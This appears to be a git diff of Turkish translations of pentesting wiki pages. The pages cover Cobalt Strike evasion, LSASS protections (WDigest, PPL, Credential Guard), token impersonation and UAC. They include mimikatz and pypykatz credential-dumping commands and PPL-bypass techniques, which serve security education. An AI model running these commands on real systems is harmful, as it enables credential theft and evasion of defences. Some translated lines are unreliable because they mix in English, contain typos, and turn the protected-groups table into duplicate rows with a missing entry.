başlatıldığında varsayılan olarak **`rundll32.exe`** kullanan bir süreç oluşturulur. Bu çok gizli değildir ve EDR'ler tarafından kolayca tespit edilebilir. Ayrıca, `rundll32.exe` herhangi bir argüman olmadan çalıştırılır, bu da onu daha da şüpheli hale getirir. -Aşağıdaki Cobalt Strike komutuyla, yeni beacon'ı başlatmak için farklı bir süreç belirleyebilir, bu da onu daha az tespit edilebilir hale getirir: +Aşağıdaki Cobalt Strike komutuyla, yeni beacon'ı başlatmak için farklı bir süreç belirleyebilir, bu da onu daha az tespit edilebilir hale getirirsiniz: ```bash spawnto x86 svchost.exe ``` -**`spawnto_x86` ve `spawnto_x64`** ayarını bir profilde değiştirebilirsiniz. +You can aso change this setting **`spawnto_x86` and `spawnto_x64`** in a profile. -### Saldırganların trafiğini proxyleme +### Proxying attackers traffic -Saldırganlar bazen araçları yerel olarak çalıştırabilmek için, hatta Linux makinelerinde bile, kurbanların trafiğinin araca ulaşmasını sağlamaları gerekir (örneğin NTLM relay). +Atters bazen araçları yerel olarak çalıştırabilme yeteneğine ihtiyaç duyar, hatta linux makinelerde ve kurbanların trafiğinin araca ulaşmasını sağlamak için (örneğin NTLM relay). -Ayrıca, bazen bir pass-the-hash veya pass-the-ticket saldırısı yapmak için saldırganın **bu hash veya bileti kendi LSASS sürecine** yerel olarak eklemesi ve ardından bunun üzerinden geçiş yapması, bir kurban makinesinin LSASS sürecini değiştirmekten daha gizli olabilir. +Ayrıca, bazen pass-the-hash veya pass-the-ticket saldırısı yapmak için saldırganın **bu hash veya bileti kendi LSASS sürecine** yerel olarak eklemesi daha gizli olabilir ve ardından bunun üzerinden geçiş yapması, bir kurban makinesinin LSASS sürecini değiştirmekten daha iyi bir yöntemdir. Ancak, **oluşturulan trafikle dikkatli olmalısınız**, çünkü arka kapı sürecinizden alışılmadık bir trafik (kerberos?) gönderiyor olabilirsiniz. Bunun için bir tarayıcı sürecine geçiş yapabilirsiniz (ancak bir sürece kendinizi enjekte ederken yakalanma riski taşıdığınız için bunu gizli bir şekilde yapmayı düşünün). ```bash @@ -356,3 +358,6 @@ cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\Resou cd C:\Tools\cobaltstrike\ArtifactKit pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md index a573c146a..dc809489a 100644 --- a/src/windows-hardening/stealing-credentials/credentials-protections.md +++ b/src/windows-hardening/stealing-credentials/credentials-protections.md @@ -1,26 +1,24 @@ # Windows Credentials Protections -## Credentials Protections - {{#include ../../banners/hacktricks-training.md}} ## WDigest -[WDigest]() protokolü, Windows XP ile tanıtılmıştır ve HTTP Protokolü üzerinden kimlik doğrulama için tasarlanmıştır ve **Windows XP'den Windows 8.0'a ve Windows Server 2003'ten Windows Server 2012'ye kadar varsayılan olarak etkindir**. Bu varsayılan ayar, **LSASS'ta düz metin şifre depolamasına** yol açar (Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti). Bir saldırgan, Mimikatz kullanarak **bu kimlik bilgilerini çıkarmak için** aşağıdaki komutu çalıştırabilir: +[WDigest]() protokolü, Windows XP ile tanıtılmıştır ve HTTP Protokolü üzerinden kimlik doğrulama için tasarlanmıştır ve **Windows XP'den Windows 8.0'a ve Windows Server 2003'ten Windows Server 2012'ye kadar varsayılan olarak etkindir**. Bu varsayılan ayar, **LSASS'ta (Yerel Güvenlik Otoritesi Alt Sistemi Servisi) düz metin şifre depolamasına** yol açar. Bir saldırgan, Mimikatz kullanarak **bu kimlik bilgilerini çıkarmak için** aşağıdaki komutu çalıştırabilir: ```bash sekurlsa::wdigest ``` -Bu özelliği **kapalı veya açık hale getirmek için**, _**UseLogonCredential**_ ve _**Negotiate**_ kayıt defteri anahtarları _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ içinde "1" olarak ayarlanmalıdır. Eğer bu anahtarlar **yoksa veya "0" olarak ayarlandıysa**, WDigest **devre dışı**dır: +Bu özelliği **açmak veya kapatmak için**, _**UseLogonCredential**_ ve _**Negotiate**_ kayıt defteri anahtarları _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ içinde "1" olarak ayarlanmalıdır. Eğer bu anahtarlar **yoksa veya "0" olarak ayarlandıysa**, WDigest **devre dışı**dır: ```bash reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` ## LSA Koruması (PP & PPL korumalı süreçler) -**Korunan Süreç (PP)** ve **Korunan Süreç Işık (PPL)**, **Windows çekirdek düzeyinde korumalar** olup, **LSASS** gibi hassas süreçlere yetkisiz erişimi önlemek için tasarlanmıştır. **Windows Vista** ile tanıtılan **PP modeli**, başlangıçta **DRM** uygulaması için oluşturulmuş ve yalnızca **özel medya sertifikası** ile imzalanmış ikili dosyaların korunmasına izin vermiştir. **PP** olarak işaretlenmiş bir süreç, yalnızca **aynı zamanda PP olan** ve **eşit veya daha yüksek koruma seviyesine** sahip diğer süreçler tarafından erişilebilir ve bu durumda bile, **özel olarak izin verilmedikçe** yalnızca sınırlı erişim hakları ile erişilebilir. +**Korunan Süreç (PP)** ve **Korunan Süreç Işık (PPL)**, **yetkisiz erişimi önlemek** için tasarlanmış **Windows çekirdek düzeyinde korumalar**dır. **LSASS** gibi hassas süreçlere. **Windows Vista** ile tanıtılan **PP modeli**, başlangıçta **DRM** uygulaması için oluşturulmuş ve yalnızca **özel medya sertifikası** ile imzalanmış ikili dosyaların korunmasına izin vermiştir. **PP** olarak işaretlenmiş bir süreç, yalnızca **aynı zamanda PP olan** ve **eşit veya daha yüksek koruma seviyesine** sahip diğer süreçler tarafından erişilebilir ve bu durumda bile, **özel olarak izin verilmedikçe** yalnızca sınırlı erişim haklarıyla erişilebilir. -**PPL**, **Windows 8.1** ile tanıtılmıştır ve PP'nin daha esnek bir versiyonudur. **Daha geniş kullanım senaryolarına** (örneğin, LSASS, Defender) izin vererek **"koruma seviyeleri"** sunar; bu seviyeler, **dijital imzanın EKU (Gelişmiş Anahtar Kullanımı)** alanına dayanmaktadır. Koruma seviyesi, `EPROCESS.Protection` alanında saklanır; bu, aşağıdaki özelliklere sahip bir `PS_PROTECTION` yapısıdır: +**PPL**, **Windows 8.1** ile tanıtılmıştır ve PP'nin daha esnek bir versiyonudur. **Daha geniş kullanım senaryolarına** (örneğin, LSASS, Defender) izin verir ve **dijital imzanın EKU (Gelişmiş Anahtar Kullanımı)** alanına dayalı **"koruma seviyeleri"** tanıtır. Koruma seviyesi, `EPROCESS.Protection` alanında saklanır; bu, aşağıdaki özelliklere sahip bir `PS_PROTECTION` yapısıdır: - **Tür** (`Korunan` veya `KorunanIşık`) -- **İmzalayan** (örneğin, `WinTcb`, `Lsa`, `Antimalware`, vb.) +- **İmzalayan** (örneğin, `WinTcb`, `Lsa`, `Antimalware` vb.) Bu yapı tek bir bayta paketlenmiştir ve **kimin kime erişebileceğini** belirler: - **Daha yüksek imzalayan değerler, daha düşük olanlara erişebilir** @@ -31,10 +29,10 @@ Bu yapı tek bir bayta paketlenmiştir ve **kimin kime erişebileceğini** belir - **LSASS PPL olarak çalıştığında**, normal bir yönetici bağlamından `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` kullanarak açma girişimleri **`0x5 (Erişim Reddedildi)`** ile başarısız olur, `SeDebugPrivilege` etkin olsa bile. - **LSASS koruma seviyesini** Process Hacker gibi araçlarla veya `EPROCESS.Protection` değerini okuyarak programatik olarak kontrol edebilirsiniz. -- LSASS genellikle `PsProtectedSignerLsa-Light` (`0x41`) değerine sahip olacaktır; bu, yalnızca daha yüksek seviyeli bir imzalayan ile imzalanmış süreçler tarafından erişilebilir, örneğin `WinTcb` (`0x61` veya `0x62`). +- LSASS genellikle `PsProtectedSignerLsa-Light` (`0x41`) değerine sahip olacaktır; bu, yalnızca `WinTcb` (`0x61` veya `0x62`) gibi daha yüksek seviyeli bir imzalayan ile imzalanmış süreçler tarafından erişilebilir. - PPL, **sadece Kullanıcı Alanı kısıtlamasıdır**; **çekirdek düzeyindeki kod bunu tamamen atlayabilir**. - LSASS'in PPL olması, **çekirdek shellcode'u çalıştırabilirseniz** veya **uygun erişime sahip yüksek ayrıcalıklı bir süreci kullanabilirseniz** kimlik bilgisi dökümünü **önlemez**. -- **PPL ayarlamak veya kaldırmak**, yeniden başlatma veya **Güvenli Önyükleme/UEFI ayarları** gerektirir; bu, kayıt defteri değişiklikleri geri alındığında bile PPL ayarını sürdürebilir. +- **PPL ayarlamak veya kaldırmak**, yeniden başlatma veya **Güvenli Önyükleme/UEFI ayarları** gerektirir; bu, kayıt defteri değişiklikleri geri alındıktan sonra bile PPL ayarını sürdürebilir. **PPL koruma seçeneklerini atlama:** @@ -44,10 +42,10 @@ PPL'ye rağmen LSASS'i dökmek istiyorsanız, 3 ana seçeneğiniz var: ![](../../images/mimidrv.png) 2. **Kendi Zayıf Sürücünüzü (BYOVD)** getirerek özel çekirdek kodu çalıştırın ve korumayı devre dışı bırakın. **PPLKiller**, **gdrv-loader** veya **kdmapper** gibi araçlar bunu mümkün kılar. -3. **Açık bir LSASS tutamacını** başka bir süreçten (örneğin, bir AV süreci) çalın, ardından bunu sürecinize **kopyalayın**. Bu, `pypykatz live lsa --method handledup` tekniğinin temelidir. -4. **Herhangi bir ayrıcalıklı süreci** kötüye kullanarak, onun adres alanına veya başka bir ayrıcalıklı sürecin içine rastgele kod yüklemenize izin veren bir süreç bulun; bu, PPL kısıtlamalarını etkili bir şekilde atlatır. Bunu [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) veya [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump) adresinde bir örneğini kontrol edebilirsiniz. +3. **Açık bir LSASS tanıtıcısını** başka bir süreçten çalın (örneğin, bir AV süreci), ardından bunu **sürecinize kopyalayın**. Bu, `pypykatz live lsa --method handledup` tekniğinin temelidir. +4. **Herhangi bir ayrıcalıklı süreci** kötüye kullanarak, onun adres alanına veya başka bir ayrıcalıklı sürecin içine rastgele kod yüklemenize izin verin; bu, PPL kısıtlamalarını etkili bir şekilde atlatır. Bunu [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) veya [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump) adresinde bir örneğini kontrol edebilirsiniz. -**LSASS için LSA koruma (PPL/PP) mevcut durumunu kontrol et:** +**LSASS için LSA koruma (PPL/PP) mevcut durumunu kontrol edin**: ```bash reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL ``` @@ -58,9 +56,9 @@ When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll ## Credential Guard -**Credential Guard**, yalnızca **Windows 10 (Enterprise ve Education sürümleri)** için özel bir özellik olup, **Virtual Secure Mode (VSM)** ve **Virtualization Based Security (VBS)** kullanarak makine kimlik bilgilerinin güvenliğini artırır. CPU sanallaştırma uzantılarını kullanarak, ana işletim sisteminin erişiminden uzak, korumalı bir bellek alanında ana süreçleri izole eder. Bu izolasyon, çekirdek bile VSM'deki belleğe erişemediğinden, kimlik bilgilerini **pass-the-hash** gibi saldırılardan etkili bir şekilde korur. **Local Security Authority (LSA)** bu güvenli ortamda bir trustlet olarak çalışırken, ana işletim sistemindeki **LSASS** süreci yalnızca VSM'nin LSA'sı ile iletişim kuran bir aracı olarak görev yapar. +**Credential Guard**, yalnızca **Windows 10 (Enterprise ve Education sürümleri)** için özel bir özellik, makine kimlik bilgilerinin güvenliğini **Virtual Secure Mode (VSM)** ve **Virtualization Based Security (VBS)** kullanarak artırır. CPU sanallaştırma uzantılarını kullanarak, ana işletim sisteminin erişiminden uzak, korumalı bir bellek alanında anahtar süreçleri izole eder. Bu izolasyon, çekirdek bile VSM'deki belleğe erişemediğinden, kimlik bilgilerini **pass-the-hash** gibi saldırılardan etkili bir şekilde korur. **Local Security Authority (LSA)** bu güvenli ortamda bir trustlet olarak çalışırken, ana işletim sistemindeki **LSASS** süreci yalnızca VSM'nin LSA'sı ile iletişim kuran bir aracı olarak işlev görür. -Varsayılan olarak, **Credential Guard** aktif değildir ve bir organizasyon içinde manuel olarak etkinleştirilmesi gerekir. **Mimikatz** gibi araçlara karşı güvenliği artırmak için kritik öneme sahiptir; bu araçlar, kimlik bilgilerini çıkarmada kısıtlanır. Ancak, özel **Security Support Providers (SSP)** eklenerek, giriş denemeleri sırasında kimlik bilgilerini açık metin olarak yakalamak için hala zafiyetler istismar edilebilir. +Varsayılan olarak, **Credential Guard** etkin değildir ve bir organizasyon içinde manuel olarak etkinleştirilmesi gerekir. **Mimikatz** gibi araçlara karşı güvenliği artırmak için kritik öneme sahiptir; bu araçlar, kimlik bilgilerini çıkarmada kısıtlanır. Ancak, özel **Security Support Providers (SSP)** eklenerek kimlik bilgilerini açık metin olarak yakalamak için hala güvenlik açıkları istismar edilebilir. **Credential Guard**'ın etkinlik durumunu doğrulamak için, _**HKLM\System\CurrentControlSet\Control\LSA**_ altındaki kayıt defteri anahtarı _**LsaCfgFlags**_ incelenebilir. "**1**" değeri, **UEFI kilidi** ile etkinleştirildiğini, "**2**" kilitsiz olduğunu ve "**0**" ise etkinleştirilmediğini gösterir. Bu kayıt defteri kontrolü, güçlü bir gösterge olmasına rağmen, Credential Guard'ı etkinleştirmek için tek adım değildir. Bu özelliği etkinleştirmek için ayrıntılı kılavuz ve bir PowerShell betiği çevrimiçi olarak mevcuttur. ```bash @@ -76,7 +74,7 @@ Kimlik bilgilerini yakalamak için özel SSP'lerin uygulanmasıyla ilgili daha f Geleneksel olarak, RDP aracılığıyla bir uzak bilgisayara bağlandığınızda, kimlik bilgileriniz hedef makinede saklanır. Bu, özellikle yükseltilmiş ayrıcalıklara sahip hesaplar kullanıldığında önemli bir güvenlik riski oluşturur. Ancak, _**Restricted Admin modu**_ ile bu risk önemli ölçüde azaltılmıştır. -**mstsc.exe /RestrictedAdmin** komutunu kullanarak bir RDP bağlantısı başlatıldığında, uzak bilgisayara kimlik doğrulama, kimlik bilgilerinizin üzerinde saklanmadan gerçekleştirilir. Bu yaklaşım, bir kötü amaçlı yazılım enfeksiyonu durumunda veya kötü niyetli bir kullanıcının uzak sunucuya erişim sağlaması durumunda, kimlik bilgilerinizin tehlikeye girmediğini garanti eder, çünkü sunucuda saklanmamaktadır. +**mstsc.exe /RestrictedAdmin** komutunu kullanarak bir RDP bağlantısı başlatıldığında, uzak bilgisayara kimlik doğrulaması yapılırken kimlik bilgileriniz üzerinde saklanmaz. Bu yaklaşım, bir kötü amaçlı yazılım enfeksiyonu durumunda veya kötü niyetli bir kullanıcının uzak sunucuya erişim sağlaması durumunda, kimlik bilgilerinizin tehlikeye girmediğini garanti eder, çünkü sunucuda saklanmamaktadır. **Restricted Admin modu**'nda, RDP oturumundan ağ kaynaklarına erişim girişimleri kişisel kimlik bilgilerinizi kullanmaz; bunun yerine **makinenin kimliği** kullanılır. @@ -98,19 +96,19 @@ Bu önbelleğe alınmış kimlik bilgilerine erişim sıkı bir şekilde kontrol **Mimikatz**, bu önbelleğe alınmış kimlik bilgilerini `lsadump::cache` komutunu kullanarak çıkarmak için kullanılabilir. -Daha fazla ayrıntı için, orijinal [kaynak](http://juggernaut.wikidot.com/cached-credentials) kapsamlı bilgiler sunmaktadır. +Daha fazla ayrıntı için, orijinal [kaynak](http://juggernaut.wikidot.com/cached-credentials) kapsamlı bilgi sağlamaktadır. ## Korunan Kullanıcılar -**Korunan Kullanıcılar grubu** üyeliği, kullanıcılar için birkaç güvenlik geliştirmesi getirir ve kimlik bilgisi hırsızlığına ve kötüye kullanımına karşı daha yüksek koruma seviyeleri sağlar: +**Korunan Kullanıcılar grubu** üyeliği, kullanıcılar için birkaç güvenlik geliştirmesi sunarak kimlik bilgisi hırsızlığı ve kötüye kullanıma karşı daha yüksek koruma seviyeleri sağlar: - **Kimlik Bilgisi Delegasyonu (CredSSP)**: **Varsayılan kimlik bilgilerini devretmeye izin ver** Grup Politika ayarı etkin olsa bile, Korunan Kullanıcıların düz metin kimlik bilgileri önbelleğe alınmayacaktır. -- **Windows Digest**: **Windows 8.1 ve Windows Server 2012 R2**'den itibaren, sistem Korunan Kullanıcıların düz metin kimlik bilgilerini önbelleğe almayacaktır; Windows Digest durumuna bakılmaksızın. +- **Windows Digest**: **Windows 8.1 ve Windows Server 2012 R2**'den itibaren, sistem Korunan Kullanıcıların düz metin kimlik bilgilerini, Windows Digest durumu ne olursa olsun önbelleğe almayacaktır. - **NTLM**: Sistem, Korunan Kullanıcıların düz metin kimlik bilgilerini veya NT tek yönlü fonksiyonlarını (NTOWF) önbelleğe almayacaktır. -- **Kerberos**: Korunan Kullanıcılar için Kerberos kimlik doğrulaması **DES** veya **RC4 anahtarları** oluşturmayacak, ayrıca düz metin kimlik bilgilerini veya ilk Ticket-Granting Ticket (TGT) edinimi sonrasındaki uzun vadeli anahtarları önbelleğe almayacaktır. +- **Kerberos**: Korunan Kullanıcılar için, Kerberos kimlik doğrulaması **DES** veya **RC4 anahtarları** oluşturmayacak, ayrıca düz metin kimlik bilgilerini veya ilk Ticket-Granting Ticket (TGT) edinimi sonrasında uzun vadeli anahtarları önbelleğe almayacaktır. - **Çevrimdışı Giriş**: Korunan Kullanıcılar, giriş veya kilidi açma sırasında önbelleğe alınmış bir doğrulayıcı oluşturulmayacak, bu da bu hesaplar için çevrimdışı girişin desteklenmediği anlamına gelmektedir. -Bu korumalar, **Korunan Kullanıcılar grubuna** üye bir kullanıcının cihaza giriş yaptığı anda etkinleştirilir. Bu, çeşitli kimlik bilgisi ihlali yöntemlerine karşı koruma sağlamak için kritik güvenlik önlemlerinin alındığını garanti eder. +Bu korumalar, **Korunan Kullanıcılar grubuna** üye bir kullanıcının cihaza giriş yaptığı anda etkinleştirilir. Bu, çeşitli kimlik bilgisi tehlikelerine karşı koruma sağlamak için kritik güvenlik önlemlerinin alındığını garanti eder. Daha ayrıntılı bilgi için resmi [belgelere](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) başvurun. @@ -118,21 +116,20 @@ Daha ayrıntılı bilgi için resmi [belgelere](https://docs.microsoft.com/en-us | Windows Server 2003 RTM | Windows Server 2003 SP1+ |

Windows Server 2012,
Windows Server 2008 R2,
Windows Server 2008

| Windows Server 2016 | | ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- | -| Account Operators | Account Operators | Account Operators | Account Operators | -| Administrator | Administrator | Administrator | Administrator | -| Administrators | Administrators | Administrators | Administrators | -| Backup Operators | Backup Operators | Backup Operators | Backup Operators | -| Cert Publishers | | | | -| Domain Admins | Domain Admins | Domain Admins | Domain Admins | -| Domain Controllers | Domain Controllers | Domain Controllers | Domain Controllers | -| Enterprise Admins | Enterprise Admins | Enterprise Admins | Enterprise Admins | -| | | | Enterprise Key Admins | -| | | | Key Admins | +| Hesap Operatörleri | Hesap Operatörleri | Hesap Operatörleri | Hesap Operatörleri | +| Yöneticiler | Yöneticiler | Yöneticiler | Yöneticiler | +| Yöneticiler | Yöneticiler | Yöneticiler | Yöneticiler | +| Yedek Operatörleri | Yedek Operatörleri | Yedek Operatörleri | Yedek Operatörleri | +| Sertifika Yayımcıları | | | | +| Alan Yöneticileri | Alan Yöneticileri | Alan Yöneticileri | Alan Yöneticileri | +| Alan Denetleyicileri | Alan Denetleyicileri | Alan Denetleyicileri | Alan Denetleyicileri | +| Kurumsal Yöneticiler | Kurumsal Yöneticiler | Kurumsal Yöneticiler | Kurumsal Yöneticiler | +| | | | Kurumsal Anahtar Yöneticileri| +| | | | Anahtar Yöneticileri | | Krbtgt | Krbtgt | Krbtgt | Krbtgt | -| Print Operators | Print Operators | Print Operators | Print Operators | -| | | Read-only Domain Controllers | Read-only Domain Controllers | -| Replicator | Replicator | Replicator | Replicator | -| Schema Admins | Schema Admins | Schema Admins | Schema Admins | -| Server Operators | Server Operators | Server Operators | Server Operators | +| Yazıcı Operatörleri | Yazıcı Operatörleri | Yazıcı Operatörleri | Yazıcı Operatörleri | +| | | Sadece Okuma Alan Denetleyicileri | Sadece Okuma Alan Denetleyicileri | +| Çoğaltıcı | Çoğaltıcı | Çoğaltıcı | Çoğaltıcı | +| Şema Yöneticileri | Şema Yöneticileri | Şema Yöneticileri | Şema Yöneticileri | {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 9b5836c97..dd88e45f8 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -1,6 +1,4 @@ -# İsimli Boru İstemci Taklidi - -## İsimli Boru İstemci Taklidi +# Named Pipe Client Impersonation {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md index 3e00cefe3..5a5e17ab9 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md +++ b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md @@ -1,9 +1,11 @@ +# SeDebug + SeImpersonate - Token Kopyala + {{#include ../../banners/hacktricks-training.md}} -Aşağıdaki kod **SeDebug ve SeImpersonate ayrıcalıklarını kullanarak** bir **SYSTEM olarak çalışan bir süreçten** **tüm token ayrıcalıklarıyla** token kopyalar. \ +Aşağıdaki kod **SeDebug ve SeImpersonate ayrıcalıklarını kullanarak** bir **SYSTEM olarak çalışan bir süreçten** ve **tüm token ayrıcalıklarıyla** token kopyalar. \ Bu durumda, bu kod bir **Windows hizmeti ikili dosyası** olarak derlenip çalıştığını kontrol etmek için kullanılabilir.\ -Ancak, **yükseltmenin gerçekleştiği kodun ana kısmı** **`Exploit`** **fonksiyonu** içindedir.\ -O fonksiyonun içinde **_lsass.exe_** **sürecinin arandığını**, ardından **token'ının kopyalandığını** ve nihayetinde o token'ın kopyalanan token'ın tüm ayrıcalıklarıyla yeni bir _**cmd.exe**_ başlatmak için kullanıldığını görebilirsiniz. +Ancak, **yükseltmenin gerçekleştiği ana kod** kısmı **`Exploit`** **fonksiyonu** içindedir.\ +O fonksiyonun içinde **_lsass.exe_** adlı sürecin arandığını, ardından **token'ının kopyalandığını** ve nihayetinde o token'ın kopyalanan token'ın tüm ayrıcalıklarıyla yeni bir _**cmd.exe**_ başlatmak için kullanıldığını görebilirsiniz. **SYSTEM olarak çalışan ve tüm veya çoğu token ayrıcalığına sahip diğer süreçler**: **services.exe**, **svhost.exe** (ilklerden biri), **wininit.exe**, **csrss.exe**... (_korumalı bir süreçten token kopyalayamayacağınızı unutmayın_). Ayrıca, bir sürecin token'larını görmek için yönetici olarak çalışan [Process Hacker](https://processhacker.sourceforge.io/downloads.php) aracını kullanabilirsiniz. ```c diff --git a/src/windows-hardening/windows-security-controls/uac-user-account-control.md b/src/windows-hardening/windows-security-controls/uac-user-account-control.md deleted file mode 100644 index 23f0fe3e3..000000000 --- a/src/windows-hardening/windows-security-controls/uac-user-account-control.md +++ /dev/null @@ -1,168 +0,0 @@ -# UAC - Kullanıcı Hesabı Denetimi - -{{#include ../../banners/hacktricks-training.md}} - -## UAC - -[Kullanıcı Hesabı Denetimi (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş aktiviteler için onay istemi** sağlayan bir özelliktir. Uygulamalar farklı `bütünlük` seviyelerine sahiptir ve **yüksek seviyeye** sahip bir program, **sistemi tehlikeye atabilecek** görevleri yerine getirebilir. UAC etkinleştirildiğinde, uygulamalar ve görevler her zaman **bir yönetici hesabının güvenlik bağlamında çalışır**; yönetici, bu uygulamaların/görevlerin sisteme yönetici düzeyinde erişim izni vermediği sürece. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez. - -Bütünlük seviyeleri hakkında daha fazla bilgi için: - -{{#ref}} -../windows-local-privilege-escalation/integrity-levels.md -{{#endref}} - -UAC uygulandığında, bir yönetici kullanıcıya 2 jeton verilir: standart kullanıcı anahtarı, normal seviyede düzenli işlemler yapmak için ve yönetici ayrıcalıkları olan bir jeton. - -Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), UAC'nin nasıl çalıştığını derinlemesine tartışmakta ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içermektedir. Yöneticiler, UAC'nin kendi organizasyonlarına özgü nasıl çalıştığını yerel düzeyde (secpol.msc kullanarak) veya bir Active Directory alan ortamında Grup Politika Nesneleri (GPO) aracılığıyla yapılandırıp dağıtabilirler. Çeşitli ayarlar detaylı olarak [burada](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) tartışılmaktadır. UAC için ayarlanabilecek 10 Grup Politika ayarı vardır. Aşağıdaki tablo ek detaylar sağlamaktadır: - -| Grup Politika Ayarı | Kayıt Anahtarı | Varsayılan Ayar | -| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | -| [Kullanıcı Hesabı Denetimi: Yerleşik Yönetici hesabı için Yönetici Onay Modu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Devre Dışı | -| [Kullanıcı Hesabı Denetimi: UIAccess uygulamalarının güvenli masaüstünü kullanmadan yükseltme istemesi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Devre Dışı | -| [Kullanıcı Hesabı Denetimi: Yönetici Onay Modu'ndaki yöneticiler için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Windows dışı ikili dosyalar için onay istemi | -| [Kullanıcı Hesabı Denetimi: Standart kullanıcılar için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Güvenli masaüstünde kimlik bilgileri istemi | -| [Kullanıcı Hesabı Denetimi: Uygulama yüklemelerini tespit et ve yükseltme istemesi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Etkin (ev için varsayılan) Devre Dışı (kurumsal için varsayılan) | -| [Kullanıcı Hesabı Denetimi: Sadece imzalanmış ve doğrulanmış yürütülebilir dosyaları yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Devre Dışı | -| [Kullanıcı Hesabı Denetimi: Sadece güvenli konumlarda kurulu UIAccess uygulamalarını yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Etkin | -| [Kullanıcı Hesabı Denetimi: Tüm yöneticileri Yönetici Onay Modu'nda çalıştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Etkin | -| [Kullanıcı Hesabı Denetimi: Yükseltme istemi için güvenli masaüstüne geç](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Etkin | -| [Kullanıcı Hesabı Denetimi: Dosya ve kayıt defteri yazma hatalarını kullanıcıya özel konumlara sanallaştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Etkin | - -### UAC Atlatma Teorisi - -Bazı programlar, **kullanıcı yönetici grubuna ait** ise **otomatik olarak yükseltilir**. Bu ikili dosyaların içinde _**Manifests**_ kısmında _**autoElevate**_ seçeneği _**True**_ değerine sahiptir. İkili dosya ayrıca **Microsoft tarafından imzalanmış** olmalıdır. - -Sonra, **UAC'yi atlatmak** (bütünlük seviyesini **orta** seviyeden **yüksek** seviyeye yükseltmek) için bazı saldırganlar bu tür ikili dosyaları **rastgele kod çalıştırmak** amacıyla kullanır çünkü bu, **Yüksek seviye bütünlük sürecinden** çalıştırılacaktır. - -Bir ikilinin _**Manifest**_ dosyasını _**sigcheck.exe**_ aracını kullanarak kontrol edebilirsiniz. Ve süreçlerin **bütünlük seviyesini** _Process Explorer_ veya _Process Monitor_ (Sysinternals) kullanarak 